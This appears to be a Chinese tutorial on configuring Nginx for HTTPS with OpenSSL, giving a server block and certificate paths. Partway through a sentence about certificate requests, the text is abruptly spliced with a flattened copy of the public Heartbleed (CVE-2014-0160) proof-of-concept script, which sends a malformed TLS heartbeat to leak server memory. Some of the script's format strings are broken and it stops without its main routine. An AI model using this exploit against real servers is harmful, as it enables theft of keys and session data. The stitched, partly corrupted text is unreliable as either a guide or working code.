Nginx启用https -使用openssl进行PKI实践

本文介绍了如何在已经安装SSL模块和OpenSSL的Nginx服务器上配置SSL,包括添加SSL监听、证书路径设置,以及如何通过公司内部CA申请或自建CA进行证书生成和申请的详细步骤。

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前提条件

  1. nginx已安装ssl模块 (可通过nginx -V 命令判断:如果出现 (configure arguments: --with-http_ssl_module), 则已安装)
  2. 服务器已安装openssl (/etc/pki/是OpenSSL 在 RHEL/CentOS上 的默认路径)

具体步骤

  1. 修改nginx配置,在/etc/nginx/nginx.conf 最后加入如下配置:
    # Settings for a TLS enabled server
    server {
    	listen	443 ssl http2 default_server;
    	listen	[::]:443 ssl http2 default_server;
    	server_name	_;
    	root		/usr/share/nginx/html;
    	
    	ssl_certificate "/etc/pki/tls/cert.crt";
    	ssl_certificate_key "/etc/pki/tls/cert.key";
    	ssl_session_cache shared:SSL:1m;
    	ssl_session_timeout 10m;
    	ssl_ciphers PROFILE=SYSTEM;
    	ssl_prefer_server_ciphers on;
    
    	include /etc/nginx/default.d/*.conf;
    	
    	location / {
    	}
    
    	error_page 404 /404.html;
    		location = /40x.html {
    	}
    	
    	error_page 500 502 503 504 /50x.html;
    		location = /50x.html {
    	}
    }
    
  2. 证书创建/申请
    • 一般公司会有专门负责SSL证书申请的组织和
#!/usr/bin/python # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org) # The author disclaims copyright to this source code. import sys import struct import socket import time import select import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return x.replace(' ', '').replace('\n', '').decode('hex') hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s): for b in xrange(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('X' % ord(c) for c in lin) pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin) print ' x: %-48s %s' % (b, hxdat, pdat) print def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = '' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print 'Unexpected EOF receiving record header - server closed connection' return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print 'Unexpected EOF receiving record payload - server closed connection' return None, None, None print ' ... received message: type = %d, ver = x, length = %d' % (typ, ver, len(pay)) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print 'No heartbeat response received, server likely not vulnerable' return False if typ == 24: print 'Received heartbeat response:' hexdump(pay) if len(pay) > 3: print 'WARNING: server returned more data than it should - server is vulnerable!' else: print 'Server processed malformed heartbeat, but did not return any extra data.' return True if typ == 21: print 'Received alert:' hexdump(pay) print 'Server returned error, likely not vulnerable' return False
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